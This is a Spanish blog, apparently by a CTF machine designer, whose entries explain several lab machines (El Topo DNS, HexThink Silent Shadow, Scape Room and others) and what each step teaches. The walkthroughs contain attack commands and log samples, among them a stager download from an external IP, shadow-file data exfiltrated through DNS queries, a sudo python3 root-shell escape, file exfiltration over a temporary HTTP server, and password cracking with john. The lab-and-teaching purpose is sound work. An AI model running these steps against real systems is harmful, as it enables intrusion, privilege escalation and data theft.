Fase	Qué enseña	Error representado
Entrega del APK	El artefacto distribuido también es superficie de ataque	Confiar en que el cliente ocultará la lógica
Análisis con JADX	El reversing básico basta para auditar flujos sensibles	Ausencia de protección real sobre la lógica de validación
Revisión de `MainActivity`	La autenticación local puede desmontarse leyendo el código	PIN o secreto hardcodeado
Extracción del PIN	El dato sensible deja de ser secreto al estar embebido	Exposición directa de credenciales o claves en cliente
Cálculo de SHA256	El valor comprometido permite completar el flujo previsto	Dependencia total de un secreto ya recuperable

La enseñanza reutilizable fuera del CTF es clara: una aplicación no debe asumir que el código del lado cliente es un lugar seguro para guardar secretos o tomar decisiones de seguridad críticas. Ofuscación, empaquetado o compilación no resuelven ese problema de fondo.

Recursos y referencias

JADX, para decompilación y revisión estática de APKs.
sha256sum, para derivar la flag a partir del PIN recuperado.
Conceptos de reversing básico en Android y validación insegura del lado cliente.

El Topo DNS: diseño de una intrusión silenciosa con túnel DNS

Oscar — Sat, 14 Mar 2026 00:00:00 GMT

Máquina creada por: Oscar
Plataforma: The Hackers Labs
Sistema operativo: Linux
Dificultad: principiante

Sobre este CTF

Esta máquina la diseñé para trabajar una cadena de compromiso muy concreta: una intrusión inicial sobre un servicio web expuesto, la descarga de un stager, el establecimiento de un canal de mando y control mediante DNS y, a partir de ahí, movimiento lateral hacia un sistema interno con exfiltración de información.

El objetivo no era construir una colección de trucos aislados, sino una secuencia coherente de fallos y decisiones operativas que obligara a leer el incidente como lo haría un analista DFIR. La dificultad real del laboratorio no está en ejecutar una explotación especialmente compleja, sino en separar la señal del ruido y reconstruir la kill chain completa a partir de artefactos parciales.

La idea de fondo es sencilla: muchas intrusiones reales no destacan por su espectacularidad, sino por su normalidad aparente. Un único POST entre miles de peticiones legítimas, unas consultas DNS que pueden parecer anodinas y un acceso interno apoyado en credenciales reutilizadas bastan para comprometer más de un activo si nadie conecta los indicios.

Información técnica

Campo	Valor
Nombre	El Topo DNS
IP objetivo	192.168.1.10
Servicios	Web, DNS, FTP
Cadena principal	explotación web → descarga de stager → beaconing DNS → exfiltración por DNS → pivot interno por FTP
Dificultad	Principiante

Descubrimiento de la intrusión inicial

El primer punto importante del laboratorio está en el servidor web. Quise que la entrada inicial no dependiera de una firma evidente ni de una secuencia ruidosa, sino de una anomalía mínima dentro de un log con miles de eventos.

El artefacto access.log deja ver que casi toda la actividad corresponde a peticiones GET, mientras que solo aparece una petición POST. Ese desequilibrio no demuestra por sí solo una explotación, pero sí marca un punto de observación muy razonable para arrancar el análisis.

cat access.log | grep "GET " | wc -l && cat access.log | grep "POST " | wc -l
5001
1

A partir de ahí, la petición relevante aparece de forma nítida:

grep "POST" access.log
1.2.3.4 - - [10/nov/2025:09:10:13 +0100] "POST /upload.php HTTP/1.1" 200 150

El fichero PHP que actúa como punto de entrada más probable es upload.php.

Esta fase existe en el diseño para enseñar una idea muy repetida fuera del CTF: el valor analítico de una rareza estadística. No hacía falta un rastro de explotación exuberante. Bastaba con que el lector detectara qué evento rompe el patrón habitual del servicio. En un entorno real, muchos incidentes empiezan precisamente así: una funcionalidad de subida o procesado de contenido expuesta sin controles suficientes termina siendo el mejor punto de apoyo para la intrusión.

Descarga del stager y consolidación del acceso

Una vez localizada la entrada probable, la siguiente evidencia importante es la descarga del stager p.sh. Aquí quise enlazar la explotación con una acción de post-compromiso muy común: traer un script externo para preparar el siguiente paso del ataque.

La evidencia aparece directamente en el log de acceso:

cat access.log | grep p.sh
192.168.1.10 - - [10/nov/2025:09:10:13 +0100] "GET http://162.248.1.100/p.sh HTTP/1.1" 200 1024

La dirección IP externa que sirvió el stager fue 162.248.1.100.

Desde el punto de vista de diseño, esta fase representa dos aprendizajes. El primero es que no siempre hace falta un payload sofisticado para avanzar: un script descargado desde infraestructura externa puede ser suficiente para activar el resto de la cadena. El segundo es que el servidor comprometido empieza a comportarse como cliente de un recurso remoto, y esa inversión de rol suele ser una pista muy útil cuando se analizan logs de acceso web con mentalidad defensiva.

Beaconing DNS y establecimiento del canal C2

El corazón del laboratorio está en dns.log. La hipótesis del escenario ya anticipa uso de túneles DNS para C2 y exfiltración, así que la lectura de este artefacto debía confirmar dos cosas: primero, la existencia de un patrón de beaconing; después, el uso del mismo canal para transportar datos.

Las primeras consultas de C2 aparecen así:

cat dns.log | grep eltopo
[2025-11-10T09:10:13] 192.168.1.10 -> DNS_SERVER Query: A? 1.beacon.c2.eltopo.thl
[2025-11-10T09:10:13] 192.168.1.10 -> DNS_SERVER Query: A? 2.beacon.c2.eltopo.thl
[2025-11-10T09:10:13] 192.168.1.10 -> DNS_SERVER Query: A? 3.beacon.c2.eltopo.thl

La primera consulta de beaconing observada es 1.beacon.c2.eltopo.thl.

Aquí quería enseñar una lectura muy concreta: el DNS deja de ser solo un servicio de resolución y pasa a funcionar como transporte encubierto. El patrón numerado en los subdominios no pretende ser especialmente realista desde el punto de vista de evasión avanzada; pretende ser legible para que el participante entienda la transición entre compromiso inicial y control remoto. El foco está en reconocer el cambio de función del protocolo.

En operaciones reales, el DNS suele conservar una falsa pátina de normalidad porque casi todo sistema lo utiliza constantemente. Esa es precisamente la razón de incluir ruido en el artefacto: el reto no consistía en saber que “DNS puede usarse como C2”, sino en identificar cuándo deja de parecer resolución legítima y empieza a encajar con telemetría de control.

Exfiltración del fichero shadow por DNS

Una vez establecido el C2, el siguiente paso es la exfiltración. En el laboratorio la información robada procede de un artefacto del tipo shadow, y se fragmenta dentro de subdominios. No quería que esta fase dependiera de herramientas concretas, sino de leer el patrón: datos codificados en la etiqueta izquierda y dominio de control en la parte fija.

Las consultas relevantes son estas:

cat dns.log | grep eltopo
[2025-11-10T09:10:13] 192.168.1.10 -> DNS_SERVER Query: A? Oio6MTgwMDA6MDo5OTk5OTo3Ojo6CmRhZW1vbjoqOjE4MDAwOjA6OTk5OTk6.data.eltopo.thl
[2025-11-10T09:10:13] 192.168.1.10 -> DNS_SERVER Query: A? Nzo6OgpkZXZ1c2VyOiQ2JHJvdW5kcz02NTYwMDAkYWJjZGVmZyRoaWprbG1u.data.eltopo.thl
[2025-11-10T09:10:13] 192.168.1.10 -> DNS_SERVER Query: A? cm9vdDokNiRzYWx0eSRULlVWcy4uLjoxODAwMDowOjk5OTk5Ojc6OjoKYmlu.data.eltopo.thl
[2025-11-10T09:10:13] 192.168.1.10 -> DNS_SERVER Query: A? b3AuLi46MTgwMDE6MDo5OTk5OTo3Ojo6CmZ0cHVzZXI6KjoxODAwMTowOjk5.data.eltopo.thl

El dominio utilizado para la exfiltración, sin contar los subdominios con datos, es data.eltopo.thl.

Esta parte del diseño refleja un problema defensivo muy habitual: cuando un sistema ya ha sido comprometido, la exfiltración no necesita abrir necesariamente un canal nuevo y evidente. Puede reciclar un protocolo imprescindible para la operación normal. El aprendizaje que me interesaba forzar aquí era que el analista no se quedara en el IOC superficial, sino que entendiera la lógica del canal: fragmentación, encapsulado en consultas y reutilización de infraestructura aparentemente inocua.

Movimiento lateral hacia el servidor interno

El siguiente salto en la cadena es deliberadamente poco glamuroso: una vez comprometido el frontal web, el atacante aprovecha conectividad interna para alcanzar 10.0.0.50. Elegí FTP porque es un protocolo fácil de leer en bruto y porque representa bien un problema muy real: servicios internos heredados o mal gobernados que siguen siendo utilizables por un atacante una vez pisa el perímetro.

El ftp.log muestra la secuencia completa:

cat ftp.log
[09:10:13] 192.168.1.10 -> 10.0.0.50 FTP 220 (vsFTPd 3.0.3)
[09:10:13] 192.168.1.10 -> 10.0.0.50 FTP USER devuser
[09:10:13] 10.0.0.50 -> 192.168.1.10 FTP 331 Please specify the password.
[09:10:13] 192.168.1.10 -> 10.0.0.50 FTP PASS developer123
[09:10:13] 10.0.0.50 -> 192.168.1.10 FTP 230 Login successful.
[09:10:13] 192.168.1.10 -> 10.0.0.50 FTP LIST
[09:10:13] 10.0.0.50 -> 192.168.1.10 FTP 226 Directory send OK.
[09:10:13] 192.168.1.10 -> 10.0.0.50 FTP GET client_database_backup.zip
[09:10:13] 10.0.0.50 -> 192.168.1.10 FTP 150 Opening BINARY mode data connection.
[09:10:13] 10.0.0.50 -> 192.168.1.10 FTP 226 Transfer complete.

De aquí se obtienen cuatro piezas clave de la investigación:

El protocolo usado para pivotar al servidor interno fue FTP.
El nombre de usuario utilizado fue devuser.
La contraseña empleada para el movimiento lateral exitoso fue developer123.
El fichero robado del servidor interno fue client_database_backup.zip.

En términos de diseño, esta fase buscaba que la intrusión no terminara en la propia máquina comprometida. El servidor web actúa aquí como cabeza de puente hacia la red interna. Eso refleja una situación muy común en entornos reales: el activo expuesto a Internet rara vez es el objetivo final; muchas veces solo es el primer sistema que ofrece al atacante una posición de ventaja.

Además, el uso de credenciales claras y un servicio interno accesible pretende subrayar algo muy concreto: la seguridad del perímetro importa menos en cuanto una máquina expuesta cae y puede “ver” recursos internos con controles débiles. El fallo ya no es solo la explotación inicial. La cadena funciona porque el entorno permite que ese compromiso se propague.

Lectura de la cadena completa

Una vez unidos los artefactos, la secuencia del incidente queda razonablemente cerrada:

Un actor externo realiza una petición POST a upload.php, que destaca como punto de entrada más probable.
Tras la intrusión, el servidor descarga el stager p.sh desde 162.248.1.100.
A continuación, la máquina comprometida comienza a emitir consultas de beaconing como 1.beacon.c2.eltopo.thl, estableciendo un canal de C2 sobre DNS.
Ese mismo mecanismo se reutiliza para exfiltrar contenido relacionado con shadow hacia data.eltopo.thl.
Con control operativo sobre el servidor expuesto, el atacante pivota internamente a 10.0.0.50 usando FTP.
La autenticación se realiza con devuser:developer123.
El impacto final es el robo de client_database_backup.zip.

Lo que me interesaba enseñar con esta máquina no era una explotación concreta, sino el valor de reconstruir contexto. Cada artefacto, aislado, dice poco. Juntos describen una intrusión completa con persistencia operativa, canal encubierto, movimiento lateral y robo de información.

Qué quería enseñar al diseñar El Topo DNS

El laboratorio está construido para que la resolución obligue a pensar en encadenamiento de fallos. No basta con detectar el vector inicial ni con reconocer un túnel DNS. La máquina solo tiene sentido cuando se entiende cómo una anomalía web mínima deriva en control remoto, cómo ese control se usa para exfiltrar datos y cómo el acceso a un servidor expuesto se convierte después en acceso a un activo interno.

Fase	Qué enseña	Error representado
Entrada por `upload.php`	Buscar anomalías significativas en logs con mucho ruido	Superficie web expuesta con funcionalidad susceptible de abuso
Descarga de `p.sh`	Relacionar explotación con payload de post-compromiso	Ejecución de contenido remoto desde un servidor comprometido
Beaconing DNS	Distinguir resolución legítima de señalización de C2	Ausencia de control o visibilidad suficiente sobre DNS saliente
Exfiltración por `data.eltopo.thl`	Entender DNS como canal de salida de datos	Protocolos básicos reutilizados como transporte encubierto
Pivot interno por FTP	Leer el activo expuesto como puente hacia red interna	Segmentación débil o confianza excesiva entre sistemas
Login con `devuser`	Valorar el impacto de credenciales útiles tras un compromiso inicial	Gestión deficiente de cuentas y accesos internos
Robo de `client_database_backup.zip`	Medir el incidente por su impacto final y no solo por el vector inicial	Exposición de información sensible en servicios internos accesibles

La lección reutilizable es clara: una intrusión silenciosa no necesita técnicas especialmente sofisticadas si encuentra una cadena razonable de decisiones débiles. El atacante solo tiene que enlazarlas.

Recursos y referencias

Registros de acceso web para detección de anomalías en métodos HTTP y recursos solicitados.
Telemetría DNS para identificación de beaconing y exfiltración encubierta.
Logs de protocolos internos como FTP para reconstrucción de movimiento lateral.
Artefactos de sistema tipo shadow como indicador de acceso privilegiado y robo de credenciales o hashes.

HexThink Silent Shadow: lo que aprendí diseñando una cadena de compromiso entre base de datos, secretos ocultos y privilegios mal delegados

Oscar — Sat, 14 Mar 2026 00:00:00 GMT

Máquina creada por: Oscar
Plataforma: The Hackers Labs
Sistema operativo: Linux
Dificultad: avanzada

Sobre este CTF

HexThink Silent Shadow es una máquina que diseñé para The Hackers Labs con una idea muy concreta: enseñar cómo varios fallos que, por separado, podrían parecer asumibles, terminan abriendo el sistema por completo cuando se conectan entre sí.

No planteé este laboratorio como una colección de trucos ni como una máquina pensada para impresionar por complejidad artificial. La construí para que cada fase tuviera una lógica clara y una lección detrás: una base de datos expuesta, una autenticación débil, información útil escondida donde no debería estar y privilegios delegados de forma peligrosa.

Más que un writeup de explotación, esta entrada quiere dejar claro qué quise enseñar al diseñar la máquina y por qué esa cadena tiene sentido fuera del laboratorio.

Información técnica

Campo	Valor
Nombre	HexThink Silent Shadow
IP objetivo	10.0.2.16
Servicios	SSH (22), HTTP (80), MySQL (3306), servicio custom (9090)
Cadena principal	acceso inseguro a MySQL → extracción de datos → esteganografía → autenticación en servicio 9090 → acceso SSH → abuso de `sudo python3`
Dificultad	avanzada

Punto de partida: una superficie expuesta con varias puertas posibles

La máquina arranca mostrando varios servicios interesantes desde el primer escaneo:

sudo nmap -p- --open -sCV -Pn --min-rate 5000 10.0.2.16

Resultado relevante:

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.11
80/tcp   open  http        Apache httpd 2.4.58 (Ubuntu)
3306/tcp open  mysql       MariaDB 5.5.5-10.11.11
9090/tcp open  zeus-admin? (Protocolo no HTTP identificado)

Cuando diseñé este arranque, no quería que la máquina empujara a un único camino obvio. Quería que el atacante viera varias piezas expuestas y tuviera que decidir cuál merecía más atención.

La más importante no era el puerto raro. Era MySQL en red.

Lo primero que quería enseñar: una base de datos expuesta ya es un problema serio

En la parte web aparece un posible usuario:

ctf_user

Esa pista sirve para probar acceso a MySQL:

mysql -h 10.0.2.16 -u ctf_user --skip-ssl

La conexión se acepta sin contraseña.

Qué quería enseñar aquí

La primera lección de esta máquina es simple: una base de datos accesible desde red con autenticación débil o inexistente ya es una brecha de seguridad, aunque todavía no haya shell, RCE o privilegios elevados.

En muchos entornos se minusvalora este tipo de exposición porque “solo es la base de datos”. Precisamente por eso quise usarla como punto de entrada. Desde ahí ya puedes:

enumerar estructura interna
recuperar usuarios y hashes
leer contenido que no debía ser accesible
encontrar pistas operativas que acaban conectando con otros servicios

No hace falta explotar el motor si la propia configuración ya te deja entrar.

Lo segundo: no toda la información valiosa está en la tabla que parece más obvia

Una vez dentro, se enumeran bases de datos y tablas:

SHOW DATABASES;
USE ctf_db;
SHOW TABLES;
SELECT * FROM usuarios;

En usuarios aparecen hashes MD5. Se pueden crackear, pero en esta máquina no eran la clave real del compromiso.

La pieza importante estaba en otro sitio: la tabla noticias, donde había un mensaje y una imagen que invitaban a mirar “un poco más allá”.

Qué quería enseñar aquí

Quise romper una expectativa muy común: entrar en una base de datos, ver hashes y asumir que el camino bueno pasa por crackearlos y reutilizarlos.

A veces sí. Aquí no.

Aquí quería enseñar que la información verdaderamente útil no siempre está en la tabla de usuarios, sino en contenido auxiliar, comentarios, ficheros embebidos o piezas que el equipo considera “inofensivas”.

En la práctica real, eso pasa mucho. Los secretos no siempre viven donde deberían. A veces están en una nota, una imagen, un adjunto, una tabla de noticias o una ruta aparentemente secundaria.

Lo tercero: ocultar secretos no es protegerlos

Para inspeccionar la imagen a fondo, se descargó y se analizó con esteganografía:

stegseek imagen.jpg

Resultado:

passphrase: hello
archivo revelado: instrucciones.txt

Qué quería enseñar aquí

La idea aquí no era hacer un “reto de estego” por meter variedad. La intención era otra: mostrar que esconder información sensible no equivale a protegerla.

Muchas veces los equipos hacen esto con otro formato:

credenciales en imágenes de documentación
secretos en adjuntos internos
instrucciones operativas embebidas en recursos estáticos
datos “disimulados” pero no realmente protegidos

En esta máquina, la imagen sirve para enseñar justo eso: cuando alguien ya ha comprometido una capa, todo lo que parecía “oculto” deja de estarlo.

Lo cuarto: un servicio no estándar no deja de ser una superficie crítica

Con la información recuperada desde la imagen, se interactúa con el servicio del puerto 9090:

echo -e "LOGIN whisper\nKEY whisper9090" | nc 10.0.2.16 9090

Esa autenticación permite avanzar y obtener acceso útil para continuar la cadena.

Qué quería enseñar aquí

Aquí la lección es muy importante: los servicios custom o no estándar suelen recibir menos revisión que SSH, Apache o MySQL, y precisamente por eso son peligrosos.

No quería que el puerto 9090 fuera un simple adorno raro. Quería que representara un patrón real:

servicio interno con lógica propia
autenticación apoyada en secretos débiles
confianza excesiva en que “nadie sabrá cómo hablarle”

Ese tipo de backend auxiliar, protocolo casero o servicio administrativo aparece mucho más de lo que parece. Y cuando se conecta con otros sistemas, el riesgo escala muy rápido.

Lo quinto: cuando conectas piezas débiles, ya no necesitas una gran vulnerabilidad

Con las credenciales obtenidas, se accede por SSH como whisper:

ssh whisper@10.0.2.16

A partir de ahí, el sistema ya está comprometido a nivel de usuario.

Qué quería enseñar aquí

Hasta este punto de la máquina no hay una CVE espectacular, ni un exploit llamativo, ni una escalada rara. Y, sin embargo, el atacante ya está dentro.

Eso es deliberado.

La enseñanza aquí es que muchos compromisos reales no nacen de un gran fallo aislado, sino de varias debilidades medianas bien conectadas:

un dato útil expuesto en web
una base de datos accesible sin control suficiente
una imagen con información sensible
un servicio custom que acepta secretos débiles
una reutilización operativa que termina en acceso SSH

Eso es mucho más representativo de la realidad que una máquina basada solo en un exploit famoso.

La fase final: privilegios mal delegados siguen rompiendo sistemas

Una vez dentro como whisper, se revisan permisos sudo:

sudo -l

La vía de escalada permitía abusar de python3 con privilegios elevados:

sudo python3 -c 'import pty, os; os.execv("/bin/bash", ["bash"])'

Con eso se obtiene shell como root.

Qué quería enseñar aquí

La última lección de la máquina es una de las más importantes para entornos reales: no hace falta que un binario sea “peligroso” por sí mismo para convertirse en una vía de root. Basta con ejecutarlo con más privilegios de los que debería tener.

Aquí usé python3 precisamente porque es una herramienta común, legítima y presente en muchos sistemas. Eso refuerza el aprendizaje:

delegar sudo sobre herramientas interpretadas o muy versátiles es peligroso
conceder privilegios “por comodidad” suele abrir más de lo que se pretendía
la confianza excesiva en binarios comunes es un error recurrente

No quería una escalada exótica. Quería una escalada creíble.

Qué quería enseñar al diseñar HexThink Silent Shadow

Si tuviera que resumir el aprendizaje central de esta máquina, sería este:

el sistema no cae por un único fallo crítico, sino por la suma de varias decisiones malas que se refuerzan entre sí.

Ese era el objetivo del diseño.

Resumen de la cadena

Fase	Qué enseña	Error representado
Web inicial	filtrar contexto útil	exposición innecesaria de información operativa
MySQL sin contraseña	acceso indebido a datos internos	base de datos expuesta y mal protegida
Tabla `noticias`	valor de contenido auxiliar	secretos o pistas fuera de los lugares obvios
Esteganografía	falsa sensación de protección	ocultación sin seguridad real
Servicio 9090	riesgo en servicios custom	protocolos internos con autenticación débil
SSH como `whisper`	impacto de encadenar piezas	compromiso por correlación de fallos
`sudo python3`	abuso de privilegios legítimos	delegación peligrosa de permisos

Lo que me interesa al crear estos CTF

Al diseñar máquinas como HexThink Silent Shadow, no busco que el reto sea solo “llegar a root”. Busco que quien lo resuelva entienda por qué ha llegado ahí.

Me interesa construir laboratorios donde la cadena tenga lógica, donde cada paso responda a una mala decisión concreta y donde el aprendizaje sea reutilizable fuera del CTF.

Porque al final, ese es el valor real de crear estos escenarios: no demostrar que algo puede romperse, sino mostrar cómo se rompe cuando se normalizan prácticas inseguras.

Recursos y referencias

Scape Room: diseñando una cadena de fallo con presión, pistas y preloading

Oscar — Sat, 14 Mar 2026 00:00:00 GMT

Máquina creada por: Oscar
Plataforma: The Hackers Labs
Sistema operativo: Linux
Dificultad: avanzada

Sobre este CTF

Scape Room la diseñé como un laboratorio orientado a una idea concreta: enseñar cómo una cadena de fallos aparentemente heterogénea puede mantener coherencia técnica cuando cada fase empuja a la siguiente. No me interesaba construir una máquina basada en obstáculos aislados ni en giros arbitrarios, sino en una progresión donde la enumeración, la lectura de pistas, el abuso de un servicio legítimo y una mala gestión de bibliotecas compartidas terminen formando una única historia técnica.

El nombre no es casual. Quise trasladar parte de la lógica de un escape room al diseño del reto: presión, necesidad de interpretar señales pequeñas y obligación de distinguir entre ruido y pista útil. Ese componente no busca dramatizar la experiencia, sino obligar a leer mejor la superficie de exposición. En entornos reales, muchas intrusiones no avanzan por una sola vulnerabilidad crítica, sino por una sucesión de decisiones pobres: información filtrada en una capa, credenciales mal expuestas en otra, automatismos inseguros y mecanismos de carga que terminan rompiendo el modelo de confianza del sistema.

El valor de esta máquina no está solo en llegar a root. Está en entender por qué cada fase existe, qué error representa y qué quise forzar como aprendizaje al construirla.

Información técnica

Campo	Valor
Nombre	Scape Room
IP objetivo	192.168.1.41
Servicios	22/tcp SSH, 80/tcp HTTP, 3306/tcp MySQL
Cadena principal	Pista en cabeceras HTTP → subdominio oculto → metadatos con credenciales → acceso a MySQL → activación de evento programado → recuperación de contraseña → pista sobre preloading → abuso de biblioteca precargada
Dificultad	avanzada

Descubrimiento de la máquina

La superficie inicial es reducida y reconocible: SSH, web y MySQL. Eso ya orienta el laboratorio hacia una cadena mixta entre exposición de aplicación y abuso de servicios internos.

sudo nmap -sSCV -p- -Pn -n --min-rate 5000 192.168.1.41

El resultado relevante fue:

22/tcp - OpenSSH 8.2p1
80/tcp - Apache/2.4.41
3306/tcp - MySQL 8.0.39

Desde el diseño, aquí quería evitar dos errores comunes en algunos CTF: esconder la máquina detrás de una enumeración interminable o inflarla con servicios irrelevantes. La exposición es mínima a propósito. El aprendizaje no está en encontrar veinte puertos, sino en interpretar bien tres.

Reconocimiento web y lectura de señales

La primera interacción útil aparece en HTTP. La página expuesta no entrega contenido funcional claro, pero sí introduce un detalle deliberado: un timestamp dinámico que añade sensación de actividad sin regalar contexto. A simple vista no resuelve nada, pero obliga a no asumir que una web sencilla es una web vacía.

whatweb --verbose http://192.168.1.41

El punto importante no era el fingerprinting del servidor, sino las cabeceras no habituales:

X-Hint
X-Contact

La pista de X-Hint conducía a un subdominio que había que resolver manualmente:

echo "192.168.1.41 info.sensores.thl" | sudo tee -a /etc/hosts

Al acceder a http://info.sensores.thl, el código fuente incluía un comentario en Base64:

<!-- QSB2ZWNlcywgbG8gbcOhcyBvYnZpbyBlcyBsbyBxdWUgc2UgcGFzYSBwb3IgYWx0by4gVHUgw7puaWNhIHNhbGlkYSBlcyB2ZXIgbG8gcXVlIG90cm9zIG5vIHZlbi4gRWwgdGllbXBvIGNvcnJlIHkgY2FkYSBwaXN0YSBlcyB1bmEgcGllemEgY2xhdmUgZGVsIHJvbXBlY2FiZXphcy4K -->

echo "QSB2ZWNlcy..." | base64 -d

La salida era una pista narrativa:

"A veces, lo más obvio es lo que se pasa por alto. Tu única salida es ver lo que otros no ven."

Esta fase la construí para enseñar algo básico pero muy vigente: mucha información útil no aparece en la funcionalidad visible, sino en metadatos, comentarios, cabeceras o decisiones de despliegue que el equipo asume inofensivas. No es una vulnerabilidad espectacular. Es una filtración de contexto. Y en ataques reales, ese contexto vale mucho.

Metadatos como canal de fuga

En esa segunda superficie web aparecía una imagen con información embebida. La extracción de metadatos permitía recuperar una cadena codificada.

exiftool sensor_overview.png

Entre los metadatos destacaba un comentario con contenido Base64:

echo "YWN1dGU6SVM0..." | base64 -d

De ahí se obtenían credenciales válidas:

Usuario: acute
Contraseña: IS4yBvfwxpXUZsBxhCXr5muv3dXdQg!

Aquí la intención de diseño era clara: representar el error de tratar archivos auxiliares como si no formaran parte de la superficie de ataque. En muchos entornos, imágenes, documentos y artefactos de despliegue terminan transportando datos operativos, comentarios internos o secretos que nadie revisa porque no forman parte de la aplicación. Esa frontera es ficticia. Todo lo que se publica cuenta.

Acceso a MySQL y abuso de automatismos

Con esas credenciales, la siguiente fase permitía entrar en MySQL.

mysql -u acute -p -h 192.168.1.41

La enumeración de la base de datos llevaba a un evento programado deshabilitado. Activarlo alteraba el comportamiento esperado del sistema:

ALTER EVENT insert_login_data ENABLE;

A partir de ese momento, la tabla login generaba credenciales periódicamente. Después era posible recuperar la contraseña del usuario administrador desde la propia base de datos:

SELECT CONVERT(AES_DECRYPT(UNHEX(password), 'encryption_key') USING utf8) 
AS decrypted_password FROM login WHERE usuario = 'administrador';

Esta parte no estaba pensada como un simple pivot para extraer datos. Quería enseñar dos ideas.

La primera: exponer un servicio como MySQL no siempre implica una explotación directa del motor; a veces basta con encontrar automatismos inseguros ya presentes en el diseño operativo. La segunda: los mecanismos programados, cuando se combinan con permisos excesivos o con claves accesibles desde el propio entorno, convierten la base de datos en un punto de control y no solo en un almacén.

Ese patrón sí tiene equivalente real. Tareas, eventos, jobs y procesos recurrentes suelen darse por confiables porque ya existen dentro de la operación. Pero si un atacante puede activarlos, reconfigurarlos o leer los materiales criptográficos relacionados, dejan de ser automatización y pasan a ser mecanismo de abuso.

Del acceso inicial a una pista útil

En el contexto obtenido aparecía un fichero cifrado llamado leeme.txt.gpg. La máquina no contaba con John the Ripper, así que la resolución obligaba a mover la muestra a un entorno propio para trabajarla con más comodidad.

Una forma sencilla de exfiltrarlo era levantar un servidor HTTP temporal:

python3 -m http.server

Y descargar el archivo desde el equipo atacante:

wget http://10.0.2.15:8000/leeme.txt.gpg

Después, el flujo habitual con gpg2john y john permitía recuperar la clave:

gpg2john leeme.txt.gpg > leeme_hash.txt
sudo john --wordlist=/usr/share/wordlists/rockyou.txt leeme_hash.txt

La contraseña encontrada era:

superman1

Con ella, ya era posible descifrar el archivo:

gpg --decrypt leeme.txt.gpg

El contenido no daba una instrucción literal, sino una pista técnica:

"No todas las funciones tienen el control que parecen tener. Algunas veces, quien controla lo que se carga primero tiene la ventaja. Recuerda: la pre-carga puede ser tu mejor aliada... o tu perdición."

En esta fase me interesaba introducir una transición importante: pasar de la lógica de enumeración y recuperación de secretos a una lectura más cercana al comportamiento del sistema. No todo privilegio se gana explotando un binario SUID o una mala regla de sudoers. A veces se gana entendiendo cómo resuelve dependencias el sistema y quién controla ese proceso.

Preloading como frontera rota de confianza

La pista sobre pre-carga obligaba a mirar el comportamiento del enlazado dinámico. La comprobación de dependencias en /bin/ls dejaba ver una biblioteca inesperada:

ldd /bin/ls

La validación definitiva estaba en:

cat /etc/ld.so.preload

La salida mostraba:

/lib/libscaperoom.so

Ese era el corazón conceptual del laboratorio. Quise representar un fallo muy concreto: cuando el sistema introduce una biblioteca precargada en la ejecución de procesos, está ampliando de forma radical la superficie de confianza. Si esa biblioteca incorpora lógica sensible, credenciales embebidas o efectos laterales inseguros, el impacto deja de estar acotado a una aplicación concreta y contamina el comportamiento general del host.

No es un truco de CTF por sí mismo. Es una exageración pedagógica de un problema real: la dependencia excesiva de mecanismos globales de carga y la falsa sensación de seguridad que produce esconder lógica crítica en componentes compartidos.

Inspección de la biblioteca y escalada de privilegios

La inspección de la sección .rodata de la biblioteca exponía cadenas relevantes:

readelf -p .rodata /lib/libscaperoom.so

Entre ellas aparecían:

referencia a read
una contraseña: rT8hQ9VcYb5kLmXo
el mensaje: [+] Acceso root concedido!

Con esa credencial, la transición a root era directa:

su
Password: rT8hQ9VcYb5kLmXo

Esta escalada no pretendía enseñar una primitiva exótica, sino una mala práctica de diseño: incrustar información sensible en un componente de bajo nivel que el sistema carga de forma global. Cuando una biblioteca participa en un mecanismo tan transversal como ld.so.preload, cualquier secreto o lógica de control que viva dentro de ella merece el mismo nivel de revisión que una pieza crítica del sistema. Si no se trata así, el problema no es la biblioteca: es el modelo de confianza completo.

Qué quería enseñar al diseñar Scape Room

Scape Room está construida para que la resolución no dependa de una vulnerabilidad aislada, sino de una lectura encadenada de errores pequeños y medianos que, juntos, rompen el sistema. La máquina no busca premiar fuerza bruta ni intuición arbitraria. Busca que el jugador entienda cómo se conectan filtración de contexto, secretos expuestos, automatismos inseguros y abuso de mecanismos globales de carga.

Fase	Qué enseña	Error representado
Cabeceras HTTP y subdominio	La superficie útil no siempre está en la aplicación visible	Exposición de pistas operativas en metadatos y cabeceras
Comentarios y Base64 en el código fuente	La observación básica sigue siendo crítica	Filtración de contexto por descuido
Metadatos de imagen	Los archivos publicados también forman parte del perímetro	Secretos embebidos en recursos auxiliares
Acceso a MySQL	Un servicio expuesto puede convertirse en punto de control	Credenciales reutilizadas y permisos operativos peligrosos
Evento programado	Los automatismos pueden ser una vía de abuso	Jobs o eventos mal gobernados
Descifrado del archivo GPG	El acceso no siempre entrega la respuesta final, sino la siguiente pista	Dependencia de secretos débiles y materiales exportables
`ld.so.preload`	La confianza global del sistema puede romperse por diseño	Uso inseguro de bibliotecas precargadas
Inspección de `libscaperoom.so`	Los componentes compartidos deben revisarse como piezas críticas	Credenciales incrustadas en bibliotecas de bajo nivel

El aprendizaje reutilizable que quería dejar con esta máquina es sencillo: una intrusión madura rara vez depende de una bala de plata. Normalmente avanza porque varias capas del sistema comparten el mismo problema de fondo: decisiones de diseño tomadas sin pensar cómo se comportan cuando el adversario observa, correlaciona y reutiliza información entre contextos distintos.

Recursos y referencias

Documentación de nmap
Documentación de whatweb
Manual de exiftool
Documentación de MySQL sobre eventos programados
Manual de ld.so y ld.so.preload
Manual de readelf
gpg2john y John the Ripper para extracción y crackeo de hashes GPG

DevOps Nightmare: una cadena DFIR pensada para leer compromiso, persistencia y exfiltración

Oscar — Sat, 14 Mar 2026 00:00:00 GMT

Máquina creada por: Oscar
Plataforma: The Hackers Labs
Sistema operativo: Linux
Dificultad: media

Sobre este CTF

DevOps Nightmare es una máquina que diseñé para trabajar una idea muy concreta: cómo reconstruir una intrusión a partir de evidencias dispersas, correlacionando autenticación, actividad de sistema, tráfico de red y rastros de exfiltración. No la planteé como una colección de pruebas aisladas, sino como una cadena coherente en la que cada artefacto responde a una fase del ataque.

La intención del laboratorio no es premiar a quien memoriza comandos, sino obligar a leer el incidente con criterio. Primero aparece un acceso inicial identificable en auth.log, después una descarga sospechosa en syslog, más tarde un canal de persistencia visible en red y en logs, y finalmente movimiento lateral y exfiltración sobre un activo interno. Esa secuencia reproduce errores que no son exclusivos de un CTF: reutilización o exposición de credenciales, ejecución de payloads desde infraestructura externa, listeners no autorizados y transferencias internas que terminan saliendo del entorno.

